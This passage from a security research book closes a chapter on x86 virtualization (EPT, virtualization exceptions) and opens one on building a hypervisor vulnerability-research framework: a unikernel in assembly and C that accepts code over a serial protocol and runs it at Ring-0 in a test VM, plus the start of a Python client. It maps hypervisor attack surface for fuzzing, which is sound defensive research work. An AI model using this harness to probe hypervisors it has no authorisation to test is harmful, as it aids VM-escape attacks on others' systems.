instruction PAUSE can be set to cause a VM-Exit (to address the lock holder preemption
problem28). Other sensitive instructions can be either handled by the VMM (conditional
VM-Exit) or by the virtualization hardware directly. Finally, those unprivileged, sensitive
instructions we talked about earlier in this chapter can be properly handled now.
EPT
We have seen how shadow paging can be implemented on top of the existing paging
mechanism to virtualize the MMU. Shadow paging is complex, and page-table updates
are expensive; therefore, to improve this situation, a new hardware-assisted technology
known as Second Level Address Translation (SLAT) was developed. Intel implements
SLAT with Extended Page Tables (EPT29).
In a nutshell, EPT works like page-tables; the difference is that whereas page-tables
translate VAs to PAs, EPT translates GPAs to SPAs. The VMM running in VMX root
mode must set up and maintain a set of EPT multilevel page-tables, which are used to
translate GPAs to SPAs. The top-level EPT pointer (EPTP30) is stored in one of the
VMCS control fields.
From the guest perspective, we still use page-tables as usual to translate VAs to PAs; in
reality, those are GVAs and GPAs. To access a page, the CPU first walks the guest’s page-
tables to get a GPA from its GVA; then it walks the EPT tables (which are invisible to
the guest) to get a SPA from the GPA. If we remember Goldberg’s hardware virtualizer,
we could see page-tables as the ϕ-map and EPT as the f-map. A GVA-to-SPA translation
is done by the composed map “f ° ϕ.”
Keep in mind that when the CPU walks the guest’s multilevel page-tables, each level
(in long-mode: PML4, PDPT, PD, PT) points to the next one by its GPA, meaning
that each page-table level has to be translated by the EPT mechanism. This is known
as a “2-dimensional page walk,”31 and in the worst case (when every translation step
incurs in a cache miss) 24 memory loads are needed to translate a GVA. Even if address
483
translations can be more expensive than with shadow paging, the biggest advantage of
EPT is that page-table updates are direct, thus reducing the number of traps and simpli-
fying the VMM implementation.
GVA
CR3 PML4 PDPT PD PT
EPTP (VMCS)
EPT PML4
EPT PDPT
EPT PD
EPT PT
f
SPA
Like with page-tables, EPT allows you to map an address to a nonexistent physical
page. An access attempt in this case will cause a VM-Exit. The basic-exit-reason for this
kind of trap is EPT-violation.32 Additionally, the exit qualification and guest physical
address fields are set.
In some cases, EPT might not be totally invisible to guests; for the sake of improving
performance, some EPT-related features can be exposed to VMs. One of these features
PART V
is the EPT-switching33 function (called with the VMFUNC instruction), which allows
a guest to switch its EPTP explicitly from a list of values established by the VMM.
Another important feature is Virtualization Exceptions (#VE34). As the name suggests,
the feature can be used to deliver virtualization-related exceptions to the guest via the
IDT vector 20. This feature can be used together with Convertible EPT Violations, so
when an EPT-violation happens, it doesn’t cause a VM-Exit. Instead, a #VE is delivered
to the guest to handle it, thus avoiding traps into the VMM.
Summary
In this chapter we looked at general virtualization concepts—going from theoretical
models to concrete implementations in the x86 architecture. We discussed some of the
initial limitations of the x86 architecture and the techniques employed to overcome
them. Finally, we covered both the evolution of hypervisor software and the x86 archi-
tecture itself, with the introduction of hardware virtualization extensions.
In the next chapter we will use this knowledge to map the attack surface for a wide
range of hypervisor implementations: from the ones supporting old x86 models, to
implementations taking advantage of current hardware capabilities and those including
paravirtualization support.
484
References
1. “z/VM – A Brief Review of Its 40 Year History,” www.vm.ibm.com/vm40hist.pdf.
2. “VMware Timeline,” www.vmware.com/timeline.html.
3. Gerald J. Popek and Robert P. Goldberg, “Formal requirements for virtualizable
third generation architectures,” dl.acm.org/doi/10.1145/361011.361073.
4. U. Gagliardi and J. Buzen, “The evolution of virtual machine architecture,” www
.computer.org/csdl/proceedings-article/afips/1973/50810291/12OmNxGALa2.
5. R. P. Goldberg, “Architecture of virtual machines,” dl.acm.org/
doi/10.1145/800122.803950.
6. “Oracle VM VirtualBox,” www.virtualbox.org.
7. “Linux KVM,” www.linux-kvm.org.
8. “Xen Project,” xenproject.org.
9. “Hyper-V Technology Overview,” docs.microsoft.com/en-us/windows-server/
virtualization/hyper-v/hyper-v-technology-overview.
10. John Scott Robin and Cynthia E. Irvine, “Analysis of the Intel Pentium’s Ability
to Support a Secure Virtual Machine Monitor,” www.usenix.org/events/sec2000/
full_papers/robin/robin.pdf.
11. “Intel 64 and IA-32 Architectures Software Developer’s Manual, Volume 3:
System Programming Guide,” software.intel.com/content/dam/develop/external/
us/en/documents-tps/325384-sdm-vol-3abcd.pdf.
12. ibid.
13. K. Adams and O. Agesen, “A Comparison of Software and Hardware Techniques
for x86 Virtualization,” www.vmware.com/pdf/asplos235_adams.pdf.
14. O. Agesen, J. Mattson, R. Rugina, and J. Sheldon, “Software Techniques for
Avoiding Hardware Virtualization Exits,” www.usenix.org/system/files/conference/
atc12/atc12-final158.pdf.
15. “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3:
System Programming Guide,” op. cit.
16. “Kernel address space layout randomization,” lwn.net/Articles/569635/.
17. “UREDERF,” grsecurity.net/~spender/uderef.txt.
18. “Transient Execution Attacks,” github.com/IAIK/transientfail.
19. “The current state of kernel page-table isolation,” https://lwn.net/Articles/741878/.
20. “AMD64 Architecture Programmer’s Manual, Volume 2: System Programming,”
www.amd.com/system/files/TechDocs/24593.pdf.
485
21. “X86 Paravirtualised Memory Management,” wiki.xenproject.org/wiki/X86_
Paravirtualised_Memory_Management.
23. ibid.
24. ibid.
25. ibid.
26. ibid.
27. ibid.
28. J. Shan, X. Ding, and N. Gehani, “APLE: Addressing Lock Holder Preemption
Problem with High Efficiency,” ieeexplore.ieee.org/document/7396163.
30. ibid.
31. T. Merrifield and H. Taheri, “Performance Implications of Extended Page Tables
on Virtualized x86 Processors,” dl.acm.org/doi/abs/10.1145/2892242.2892258.
32. “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3:
33. ibid.
34. ibid.
PART V
Creating a Research
Framework
CHAPTER
24
• How to explore hypervisor functionality exposed to guests
• Development of a unikernel in C to execute arbitrary guest code
• Development of Python scripts that send custom code to the unikernel for
testing and fuzzing purposes
This chapter starts with a brief discussion of the hypervisor attack surface and then cov-
ers the development of a framework that we’ll use for vulnerability research purposes. To
follow along with the labs in this chapter, you’ll need an advanced level of knowledge of
the C and Python languages.
The code from this chapter is available at the book’s GitHub repository:
$ git clone https://github.com/GrayHatHacking/GHHv6.git
A Dockerfile provides the development environment needed to build and run the code:
$ cd GHHv6/ch24/
$ docker build -t kali .
The hypervisor we will work with in this chapter is KVM (the default in Linux),
which needs to be installed in the host. To use it from the container, you must redirect
the /dev/kvm device, like so:
$ docker run --device=/dev/kvm -it kali bash
Once inside the Docker container, you can find all the code in the /labs directory.
Hypervisor Attack Surface

In the previous chapter, you learned how instructions can be classified in different
groups: innocuous, sensitive, and so on. To explore most of the hypervisor-exposed func-
tionality, our focus should be on instructions that will trap into the VMM; as we already
know, most of them are privileged instructions. This means that we need to be capable
487
488
of executing arbitrary guest code at Ring-0. This is the initial access level we will assume
for our research.
The virtualization stack is composed of multiple components, each running at differ-
ent privilege levels. The impact of a vulnerability will depend on the affected component.
In the best-case scenario, we can compromise the VMM (in VMX root-mode) directly
from an unprivileged guest. Alternatively, we could aim for kernel-mode execution
within the host or a privileged guest (root-partition/dom0), and in the worst case, we
still have the user-mode stack. Components interact with each other, so compromising a
less-privileged component can widen the attack surface, which can be further exploited
in a bug-chain across more privileged components.
The following illustrations are an overview of the attack surface exposed by the differ-
ent components of a Type-2 hypervisor and a Type-1 hypervisor.
Host OS kernel Worker process guest VM
VMM drivers User process
Most privileged Least privileged
Root-partition/dom0 VM
VMM OS kernel Worker process guest VM
Backend drivers User process
Most privileged Least privileged
In general (for modern, hardware-assisted hypervisors), our starting point to explore

the attack surface will be to look at the conditions that cause the different exit-reason
codes. Upon a VM-Exit, the CPU resumes execution in VMX root-mode from the
instruction pointer stored in the virtual machine control structure (VMCS) host-state
area. This points to hypervisor code that (after saving some state) checks the VMCS exit-
reason field and decides what action(s) to take.
We can find a list of definitions for possible exit-reasons in the Linux kernel sources:
https://github.com/torvalds/linux/blob/master/tools/arch/x86/include/uapi/asm/vmx.h.
Some of these exit conditions are out of our reach (either caused by external events
or not available depending on specific CPU features or the VMCS configuration), but
many of them can be triggered by executing specific instructions in the guest.
NOTE Near the end of this chapter we will write a couple fuzzers that explore
EXIT_REASON_IO_INSTRUCTION, EXIT_REASON_MSR_READ, and
EXIT_REASON_MSR_WRITE.
Chapter 24: Creating a Research Framework
489
Aside from VM-Exit conditions, the attack surface can be also exposed by communica-
tion mechanisms based on shared memory—for example, direct memory access (DMA)
in emulated hardware devices, or buffers used by VMBus1 or VIRTIO.2 Unfortunately,
we won’t cover this topic in this chapter.
Finally, hypervisors not relying on hardware-assisted virtualization expose a larger
attack surface, but these are not common targets nowadays.
The Unikernel
As mentioned previously, we need to be capable of executing arbitrary Ring-0 code from
a guest VM. One way to do this is implementing a kernel driver to execute arbitrary code
in a general-purpose OS deployed in the VM. This approach has a couple problems,
though. First, a full OS is slow and bloated. Second, nondeterminism is introduced to
our testing environment by the multiple tasks that execute concurrently. To avoid these
issues, we will implement our own unikernel3 with the following requirements:
• Simplicity It should have a small footprint and be efficient.

• Fast (re)booting It is common to reach an unrecoverable state, so we must reboot.
• Resilience The kernel has to try to recover from an invalid state and keep
running as long as possible. When this is not possible, we need to reboot.
• Determinism Achieving complete determinism is not possible, but we need
to get as close as possible. This is important for bug reproduction and fuzz-case
minimization purposes.
• Portability It should run on most hypervisor implementations without major
modifications.
PART V
Our unikernel will communicate with external tools, enabling them to inject and
execute arbitrary code in the VM at Ring-0. We must be able to collect execution results
and send them back to the tools. In the following sections, we cover the development
process of this kernel.
Lab 24-1: Booting and Communication
To boot our kernel, we will use GRUB to avoid the trouble of writing our own boot-
loader. Typically, hypervisors support BIOS booting and/or UEFI. Fortunately, the grub-
mkrescue4 tool allows us to generate ISO media to boot from both.
Our kernel image will be an ELF file, with a Multiboot25 header placed at the start of
the code section. When GRUB boots the image, the environment it leaves us in is 32-bit
protected-mode; we want to use all the available processor features, so we must switch
to long-mode.
490
Let’s begin our implementation with some bootstrap code that emits the Multiboot2
header and then switches to long-mode:
;; bootstrap.asm
extern kmain
global _start
[bits 32]
[section .bss]
align 0x1000
resb 0x2000
stack_top:
pd: resb 0x1000 * 4 ; 4 PDs = maps 4GB
pdpt: resb 0x1000 ; 1 PDPT
pml4: resb 0x1000 ; 1 PML
[section .data]
gdt: ; minimal 64-bit GDT
dq 0x0000000000000000
dq 0x00A09b000000ffff ; kernel CS
dq 0x00C093000000ffff ; kernel DS
gdt_end: ; TODO: TSS
gdtr:
dw gdt_end - gdt - 1 ; GDT limit
dq gdt ; GDT base
[section .text]
align 8, db 0
;; multiboot2 header
mb_header_size equ (mb_header_end - mb_header)
mb_header:❶
dd 0xE85250D6 ; magic field
dd 0 ; architecture field: i386 32-bit protected-mode
dd mb_header_size ; header length field
dd 0xffffffff & -(0xE85250D6 + mb_header_size) ; checksum field
;; termination tag
dw 0 ; tag type
dw 0 ; tag flags
dd 8 ; tag size
mb_header_end:
;; kernel code starts here
_start:❷
mov esp, stack_top
mov edi, pd
mov ecx, 512*4
mov eax, 0x87
init_pde:❸
mov dword [edi], eax
add eax, 0x200000
add edi, 8
dec ecx
jnz init_pde
mov dword [pdpt], pd + 7
mov dword [pdpt+0x08], pd + 0x1007
mov eax, pml4
mov dword [eax], pdpt + 7
mov cr3, eax ; load page-tables
mov ecx, 0xC0000080
rdmsr
or eax, 0x101 ; LME | SCE
wrmsr❹ ; set EFER
lgdt [gdtr]❺ ; load 64-bit GDT
mov eax, 0x1ba ; PVI | DE | PSE | PAE | PGE | PCE
491
mov cr4, eax
mov eax, 0x8000003b ; PG | PE | MP | TS | ET | NE
mov cr0, eax❻
jmp 0x08:code64❼
[bits 64]
code64:
mov ax, 0x10
mov ds, ax
mov es, ax
mov ss, ax
call kmain
The .text section begins with the directives to emit a minimal Multiboot2 header ❶.
At the entry point ❷, an 8KB stack is set, and a 1:1 mapping of the first 4GB of memory
is created ❸. The subsequent steps involve setting the Long Mode Enable flag in the
EFER register ❹, loading a 64-bit GDT ❺, enabling paging ❻, and jumping into long-
mode ❼. The code ends with a call to the not-yet-implemented function kmain.
For communication between our kernel and the outside world, we can use a simple and
widely available device: the serial port. Most hypervisors implement serial port emulation,
and they usually allow it to be forwarded to IPC mechanisms in the host, such as sockets
or pipes. Let’s get “hands on” and add some basic serial port support to our kernel:
/* common.c */
static uint16_t SerialPort = 0x3f8; /* TODO: set it dynamically */
static void outb(uint16_t port, uint8_t val) {
__asm__ __volatile__("outb %0, %1" :: "a"(val), "Nd"(port));❶
}
static uint8_t inb(uint16_t port) {
uint8_t ret;
__asm__ __volatile__("inb %1, %0" : "=a"(ret) : "Nd"(port));❷
return ret;
}
PART V
void setup_serial() {❸
outb(SerialPort + 1, 0x00); /* disable interrupts */
outb(SerialPort + 3, 0x80); /* enable DLAB */
outb(SerialPort + 0, 0x01); /* divisor low=1(115200 baud) */
outb(SerialPort + 1, 0x00); /* divisor high=0 */
outb(SerialPort + 3, 0x03); /* 8-bit, no parity, 1 stop bit */
outb(SerialPort + 2, 0xC7); /* FIFO, clear, 14-byte threshold */
outb(SerialPort + 4, 0x03); /* DTR/RTS */
}
void write_serial(const void *data, unsigned long len) {❹
const uint8_t *ptr = data;
while (len) {
if (!(inb(SerialPort + 5) & 0x20))
continue;
len -= 1;
outb(SerialPort, *ptr++);
}
}
void read_serial(void *data, unsigned long len) {❺
uint8_t *ptr = data;
while (len) {
if (!(inb(SerialPort + 5) & 1))
continue; /* TODO: yield CPU */
len -= 1;
*ptr++ = inb(SerialPort);
}
}
492
First, we write a couple of wrappers, for OUTB ❶ and INB ❷, needed by the rest
of the code. The setup_serial ❸ function can be used to initialize the serial port at a
typical baud speed of 115200. We implement write_serial ❹ to transmit a data stream
from memory, and we implement read_serial ❺ to receive it. Our implementation has
some deficiencies, such as the spin-wait for the serial port to be ready, but let’s keep
things simple.
Now we can implement kmain to test our kernel:
/* main.c */
void kmain() {
setup_serial();
write_serial("Hello world!", 12);
__asm__ __volatile__("hlt");
}
After building the kernel, we will conduct our testing in QEMU/KVM. If everything
goes well, we should see a “Hello world!” message:
┌──(root ghh6)-[/labs/lab1]
└─# make
… omitted for brevity …
└─# qemu-system-x86_64 -display none -boot d -cdrom kernel_bios.iso -m 300M
-serial stdio -enable-kvm
Hello world!
Lab 24-2: Communication Protocol
Now we can start working on the protocol to communicate with external tools (from
now we will refer to them as clients). Let’s start with a brief discussion of the protocol
requirements:
• The kernel must process requests from the client to store and execute arbitrary
code.
• The kernel must send a response with results from the execution of arbitrary code.
• Communication is initiated by the kernel. It must let the client know that
it is ready to process requests, and it should provide information about its
execution environment.
• The kernel can send out-of-band (OOB) messages for debugging purposes.
• A message’s integrity must be verified.
Based on these requirements, we will denote the following message types: request,
reply, boot messages, and OOB messages. Messages will be composed of a fixed-
sized header and a variable-sized body. The header will indicate the type of message
493
and body length, and it will include integrity checksums for the message’s body and
header itself:
/* protocol.h */
typedef enum {
MTBoot = UINT32_C(0), MTRequest, MTReply, MTOOB, MTMax = MTOOB
} MT;❶
#define MAX_MSGSZ UINT32_C(0x400000) /* 4MB */
typedef struct {
MT type;
uint32_t len;❷
uint32_t checksum;❸ /* body CRC32 */
uint32_t hdr_csum;❹ /* header CRC32 */
} __attribute__((packed)) MsgHdr;
The MT ❶ enumeration represents the different message types that can be encoded
in the type field of the message’s header. The rest of the header contains the length ❷,
in bytes, of the body (less than MAX_MSGSZ), the checksum of the body’s contents ❸,
and the checksum of the header’s contents, excluding the contents of the hdr_csum field
itself ❹.
The format of a message’s body has to be flexible enough to encode the most common
data structures, while at the same time, the serialization and deserialization processes
have to be kept simple. It needs to be easy to produce data from arbitrary code, and it
should be easy for a client to consume and work with this data, too. To fulfill those needs,
we will define an encoding that encompasses values of the following types: integers,
arrays, strings, and lists.
typedef enum {
/* primitive sizes encoded in LSB */
UInt8 = UINT32_C(0x001), UInt16 = UINT32_C(0x002),
PART V
UInt32 = UINT32_C(0x004), UInt64 = UINT32_C(0x008),
Int8 = UINT32_C(0x101), Int16 = UINT32_C(0x102),
Int32 = UINT32_C(0x104), Int64 = UINT32_C(0x108),
PrimitiveMax = Int64,❸
/* Compound types */
Array = UINT32_C(0x400),❹
CString = UINT32_C(0x500),❺
List = UINT32_C(0x600),❻
Nil = UINT32_C(0x700)❼
} TP;❶
typedef union {
uint8_t u8; uint16_t u16; uint32_t u32; uint64_t u64;
int8_t i8; int16_t i16; int32_t i32; int64_t i64;
} Primitive_t;❷
Every value starts with a 32-bit prefix defined in the TP ❶ enumeration. Primitives
can be any of the integer types defined in the Primitive_t ❷ union. These are encoded
as a TP prefix (below or equal to PrimitiveMax ❸), followed by the value in its native
encoding. Compound types can be arrays, strings, and lists.
Arrays start with the Array ❹ prefix followed by an Array_t header:
typedef struct {
uint32_t count;
TP subtype;
} __attribute__((packed)) Array_t;
494
This header indicates the number of elements and their subtype, which is constrained
to primitive types. After the header are the elements’ values in their native encoding.
Strings are composed of a CString ❺ prefix, followed by a variable number of non-
null bytes and delimited by a null byte suffix.
Lists start with a List ❻ prefix followed by a variable number of nodes. Each node is
a pair where its first element can be any TP-prefixed value (including other lists) and its
second element is the next node of the list. A node prefixed with Nil ❼ indicates the end
of the list.
With the message’s definitions in place, we can start working on the implementation:
/* protocol.c */
struct msg_buffer {
unsigned int offset;
uint8_t buf[MAX_MSGSZ];
};
static struct msg_buffer send_buf;❶
static struct msg_buffer oob_buf;❸
static struct msg_buffer recv_buf;❷
#define PUT(b, v) ({ \
typeof((typeof(v))v) tmp;❹ \
unsigned int new_offset = b->offset + sizeof(v); \
assert(new_offset > b->offset && MAX_MSGSZ > new_offset); \
*(typeof(tmp) *)&b->buf[b->offset] = v;❺ \
b->offset = new_offset; \
})
#define GET(v) ({ \
unsigned int new_offset = recv_buf.offset + sizeof(v); \
assert(new_offset > recv_buf.offset && MAX_MSGSZ > new_offset); \
v = *(typeof(v) *)&recv_buf.buf[recv_buf.offset]; \
recv_buf.offset = new_offset; \
})
First, we need a buffer (send_buf ❶) to construct the message’s body before sending it,
and we need one for incoming messages ❷. We also define an extra buffer ❸ exclusively
for OOB messages, so if we send debug messages in the middle of constructing a message,
we don’t trash the contents of send_buf.
We define a couple macros to copy data to and from the buffers: GET copies a value
from the receive buffer, while PUT copies a value to the target buffer indicated by its first
parameter (we will pass either send_buf or oob_buf). The PUT macro takes a few extra
steps involving the double use of typeof to define the tmp ❹ variable. Note that typeof
accepts either a variable or an expression at the outer typeof. We use the latter: a cast of
the variable to its own type. The reason is that the result of an expression is an rvalue, so
if the original variable has a const qualifier, it will get dropped. This way, assignment at
❺ will type-check when we pass a const variable to PUT.
Now we can start writing “put” and “get” functions for each of the TP values we
defined:
void put_tp(bool is_oob, TP prefix) {
struct msg_buffer *buf = is_oob ? &oob_buf : &send_buf;
PUT(buf, prefix);
}
495
void put_primitive(bool is_oob, TP prefix, const Primitive_t *value) {
assert(PrimitiveMax >= prefix);
put_tp(is_oob, prefix);
switch (prefix) {
case UInt8:
PUT(buf, value->u8); break;
case UInt16:
PUT(buf, value->u16); break;
case Int64:
PUT(buf, value->i64); break;
}
}
void put_array(bool is_oob, const Array_t *array, const void *data) {
uint32_t len = 0;
put_tp(is_oob, Array);
PUT(buf, *array);
while (array->count * (array->subtype & 0xff) != len)
PUT(buf, ((const char *)data)[len++]);
}
void put_cstring(bool is_oob, const char *ptr) {
put_tp(is_oob, CString);
do { PUT(buf, *ptr); } while (*ptr++ != '\0');
}
static void _put_va(bool is_oob, TP prefix, va_list args) {
if (PrimitiveMax >= prefix) {
Primitive_t value = va_arg(args, Primitive_t);
put_primitive(is_oob, prefix, &value);
}
if (List == prefix) {
do {
PART V
prefix = va_arg(args, TP);
_put_va(is_oob, prefix, args);
} while (Nil != prefix);
}
if (Array == prefix) {
Array_t *a = va_arg(args, Array_t *);
put_array(is_oob, a, va_arg(args, const void *));
}
if (CString == prefix)
put_cstring(is_oob, va_arg(args, const char *));
}
void put_va(bool is_oob, ...) {❶
va_list ap;
va_start(ap, is_oob);
TP prefix = va_arg(ap, TP);
_put_va(is_oob, prefix, ap);
va_end(ap);
}
NOTE The “get” functions were omitted from the code listing for brevity
reasons.
496
The first argument for all the “put” functions indicates whether the data should be
written to send_buf or to oob_buf. Data is encoded following the schema described
when defining the different TP values. For convenience, we also implemented a variadic
function ❶ that combines multiple values of different types into a single call.
Now, we need the functions to send and receive messages:
void send_msg(MT msg_type) {❶
struct msg_buffer *buf = (MTOOB == msg_type) ? &oob_buf : &send_buf;
MsgHdr hdr = {
.type = msg_type, .len = buf->offset,
.checksum = crc32(buf->buf, buf->offset), .hdr_csum = 0
};
hdr.hdr_csum = crc32(&hdr, sizeof(hdr) - sizeof(hdr.hdr_csum));
write_serial(&hdr, sizeof(hdr));
write_serial(buf->buf, buf->offset);
buf->offset = 0;
}
static bool msg_hdr_valid(const MsgHdr *hdr) {
return MTRequest == hdr->type && MAX_MSGSZ > hdr->len &&
crc32(hdr, sizeof(*hdr) - sizeof(hdr->hdr_csum)) == hdr->hdr_csum;
}
void recv_msg() {❷
MsgHdr hdr;
read_serial(&hdr, sizeof(hdr));
assert(msg_hdr_valid(&hdr));
recv_buf.offset = 0;
read_serial(recv_buf.buf, hdr.len);
assert(crc32(recv_buf.buf, hdr.len) == hdr.checksum);
}
The send_msg ❶ function takes the message’s type as an argument that is first used
to select the right buffer to read the message’s body. It calculates the body and header’s
checksums (crc32) and sends the message over the serial port. Lastly, it resets the buffer
offset so the next message can be constructed.
To get a message, recv_msg ❷ reads the message’s header from the serial port. Before
going further, it performs validation checks on the header’s type, length, and checksum
fields. Once these checks are passed, it reads the message’s body and validates its check-
sum. We assume that the client will never send malformed messages, so if a validation
check fails, it is a consequence of kernel state corruption, which is an unrecoverable
condition, and we must reboot.
NOTE The code listings for the crc32 and assert functions were omitted
for brevity reasons. The crc32 function implements CRC32-C (polynomial
0x11EDC6F41), while the assert implementation sends an OOB message
and hard-resets by triple-faulting.
Let’s test the protocol implementation by constructing and sending an OOB message:
/* protocol.h */
typedef enum {OOBPrint = UINT32_C(0), OOBAssert} OOBType;❶
#define LIST(...) List, __VA_ARGS__, Nil
#define PUT_LIST(is_oob, ...) (put_va(is_oob, LIST(__VA_ARGS__)))
#define OOB_PRINT(fmt, ...) ({❷ \
PUT_LIST(true, UInt32, OOBPrint, CString, fmt, __VA_ARGS__); \
send_msg(MTOOB); \
})
497
The OOBType ❶ enumeration defines two types of OOB messages: OOBPrint and
OOBAssert. The body of an OOB message is a List, where the first element is the
OOBType. The OOB_PRINT ❷ macro builds this list over the arguments passed to it,
prepending the OOBPrint value, and adding the CString prefix to the first argument
that corresponds to a format string. Finally, the macro sends the OOB message over the
serial port. Note that this macro can’t infer types from the format string, so we have to
pass the TP values as arguments.
We can now replace our “Hello world” message by a call to OOB_PRINT:
/* main.c */
void kmain() {
setup_serial();
OOB_PRINT("kmain at 0x%016lx", UInt64, &kmain);
__asm__ __volatile__("hlt");
}
Let’s take a look at the message’s data by redirecting the output to hexdump (don’t
forget to run make to build the kernel in each lab):
└─# qemu-system-x86_64 -display none -boot d -cdrom kernel_bios.iso -m 300M
-serial stdio -enable-kvm | stdbuf -o0 hexdump -C | cut -d' ' -f3-
03 00 00 00 32 00 00 00 2f c9 e1 6a 3a 37 16 e8 |....2.../..j:7..|
00 06 00 00 04 00 00 00 00 00 00 00 00 05 00 00 |................|
6b 6d 61 69 6e 20 61 74 20 30 78 25 30 31 36 6c |kmain at 0x%016l|
78 00 08 00 00 00 35 14 40 00 00 00 00 00 00 07 |x.....5.@.......|
An obvious fact we can see from this output is that OOB_PRINT doesn’t perform
string formatting. Our kernel won’t do any work that could be done by the client!
PART V
Boot Message Implementation
One of our protocol requirements is that communication has to be initiated by the kernel,
sending information about its execution environment to the client. We will fulfill this
requirement by implementing a “boot message” that provides the following information:
• Physical address space (from the point of view of the kernel running in a VM).
• Kernel addresses (symbols). This serves two purposes. The first is to let the
client know where the kernel is loaded so it won’t overwrite it accidentally when
injecting code. The second is to provide addresses of known kernel functions that
can be used by external code.
The boot message’s information will be encoded in an associative list, where the first
element of every pair is an identification string for the contents of the second element.
The layout of the second element is specific to the kind of information provided (gener-
ally encoded as a sub-list). In this case, we will use the strings “symbols” and “mmap” to
tag information.
498
Constructing the “symbols” is straightforward; we just make them an associative list
of symbol names and their addresses:
#define NAMED(n, t, v) LIST(CString, n, t, v)
#define SYMBOL(n) NAMED(#n, UInt64, &n)
extern char __ehdr_start, _end;
static void put_symbols() {
PUT_LIST(false, CString, "symbols",
LIST(SYMBOL(__ehdr_start), SYMBOL(_end),
SYMBOL(put_va), SYMBOL(send_msg)));
}
In this case, we provide the addresses of the kernel’s ELF header, the end of the BSS
segment, and the put_va and send_msg functions.
To construct the “mmap,” we will modify the bootstrap code to take advantage of the
multiboot info (MBI) area provided by GRUB:
[bits 64]
code64:
mov rdi, rbx ; MULTIBOOT_MBI_REGISTER
call kmain
The kmain definition has to be adapted to take the MBI as an argument. We will also
add the code that constructs and sends the boot message:
void kmain(const void *mbi) {
setup_serial();
OOB_PRINT("kmain at 0x%016lx", UInt64, &kmain);
put_tp(false, List);
put_symbols();
put_mbi(mbi);
put_tp(false, Nil);
send_msg(MTBoot);
The last piece is the put_mbi function to parse the MBI and construct the “mmap”:
#include "multiboot2.h"
#define PTR_ADD(a, s) ((typeof(a))((unsigned long)a + s))
#define ALIGN_UP(a, s) ((a + (typeof(a))s - 1) & ~((typeof(a))s - 1))
static void put_mmap(const struct multiboot_tag_mmap *mmap) {❸

const struct multiboot_mmap_entry *entry, *end;
end = PTR_ADD(&mmap->entries[0], mmap->size - sizeof(*mmap));
for (entry = &mmap->entries[0]; entry != end;
entry = PTR_ADD(entry, mmap->entry_size))
PUT_LIST(false,
NAMED("address", UInt64, entry->addr),
NAMED("length", UInt64, entry->len),
NAMED("type", UInt32, entry->type));
put_tp(false, Nil);
}
static void put_mbi(const void *mbi) {❶
const struct multiboot_tag *tag;
for (tag = PTR_ADD(mbi, ALIGN_UP(sizeof(uint64_t), MULTIBOOT_TAG_ALIGN));
499
tag->type != MULTIBOOT_TAG_TYPE_END;
tag = PTR_ADD(tag, ALIGN_UP(tag->size, MULTIBOOT_TAG_ALIGN))) {
switch (tag->type) {
case MULTIBOOT_TAG_TYPE_MMAP: ❷
put_cstring(false, "mmap");
put_mmap((const struct multiboot_tag_mmap *)tag);
put_tp(false, Nil);
break;
/* TODO: handle other tags */
default: break;
}
}
}
NOTE To walk the MBI, we need definitions from the “multiboot2.h” file
provided by GRUB.
The put_mbi ❶ function searches for the MULTIBOOT_TAG_TYPE_MMAP ❷

in the MBI to find the multiboot_tag_mmap structure. This structure contains the
address space information in a series of entries iterated by put_mmap ❸ to produce the
“mmap.” Each of these entries represents a memory range and contains its base address,
length, and memory type.
So far, this is all we need for the boot message. An advantage of this layout is that we
could add extra information without introducing breaking changes.
Handling Requests
PART V
Executing arbitrary code involves two operations: writing binary code into the guest’s
memory and redirecting execution flow to this memory area. We will define a request as
a list of operations of any of these two kinds. The kernel will process a request by iterating
this list and applying every operation sequentially.
typedef enum {OpWrite = UINT32_C(0), OpExec} OpType;
Every operation takes two or more elements from the list: an OpType and the opera-
tion parameters.
static void op_write() {❸
Primitive_t addr;
Array_t array;
uint8_t *payload;
get_va(UInt64, &addr);
get_va(Array, &array, &payload);
for (uint32_t x = 0; x != array.count * (array.subtype & 0xff); x += 1)
((uint8_t *)addr.u64)[x] = payload[x];
}
static void op_exec() {❹
Primitive_t addr;
get_va(UInt64, &addr);
((void (*)())addr.u64)();
500
}
void kmain(const void *mbi) {
send_msg(MTBoot);
while (1) {
recv_msg();
assert(List == get_tp());❶
for (TP prefix = get_tp(); Nil != prefix; prefix = get_tp()) {
Primitive_t op_type;
assert(UInt32 == prefix); /* requests must start with ReqType */
get_primitive(prefix, &op_type);
assert(OpWrite == op_type.u32 || OpExec == op_type.u32);❷
if (OpWrite == op_type.u32)
op_write();
if (OpExec == op_type.u32)
op_exec();
}
}
}
After initiating communication, we start receiving requests containing a list of opera-

tions. It is important to note that we don’t make distinctions between debug and release
builds, so the expressions inside assert ❶ are always executed. We start processing the list
elements, verifying that they start with a UInt32 containing a valid OpType ❷.
If it is an OpWrite operation, op_write ❸ is called. This function consumes two
more elements from the list: a UInt64 memory address and an Array. Then it copies
the contents of the array to the memory address.
For OpExec operations, op_exec ❹ is called. This function consumes a UInt64
element from the list. The value from this element is cast to a function pointer and
gets called.
When either function returns, the loop consumes the next operation, and so on, until
the end of the list.
The Client (Python)

A client is an application running outside the VM that interacts with the kernel by
sending requests containing binary code generated for specific purposes. This code is
executed by the kernel, and results are sent back to the application for further processing.
Clients can differ in the kind of code they generate, but they must all follow the same
communication protocol. In this section, we will implement all this functionality using
the Python language.
Communication Protocol (Python)

For the protocol implementation, we will use Construct,6 a Python module for writing
binary parsers. Rather than using a series of pack/unpack calls, Construct enables us to
write code in declarative style, which in general leads to a more concise implementation.
Other modules we will import are fixedint,7 to replace Python’s “bignum” integer type,
and crc32c,8 to use the same CRC32-C implementation as the kernel.
501
TIP Before going further, it is recommended that you read Construct’s
documentation to get familiar with it.
Let’s begin by defining the message header:

# protocol.py
import construct as c
import fixedint as f
from crc32c import crc32c
MT = c.Enum(c.Int32ul, Boot=0, Request=1, Reply=2, OOB=3)
MAX_MSGSZ = 0x400000
MsgHdr = c.Struct(
'hdr' / c.RawCopy(❶
c.Struct(
'type' / MT,
'len' / c.ExprValidator(c.Int32ul, c.obj_ <= MAX_MSGSZ),
'_csum_offset'/ c.Tell,❸
'checksum' / c.Int32ul❹
)
),
'hdr_csum' / c.Checksum(c.Int32ul, crc32c, c.this.hdr.data)❷
)
This code looks similar to its C counterpart, but in this case, we separated the hdr_csum
field from the rest of the header, which is wrapped with RawCopy ❶ to access it as a binary
blob via c.this.hdr.data. This way, we can compute its CRC32-C ❷.
Another important distinction is the introduction of a synthetic field called
_csum_offset ❸, which is used to store the current stream position. Later on, we will
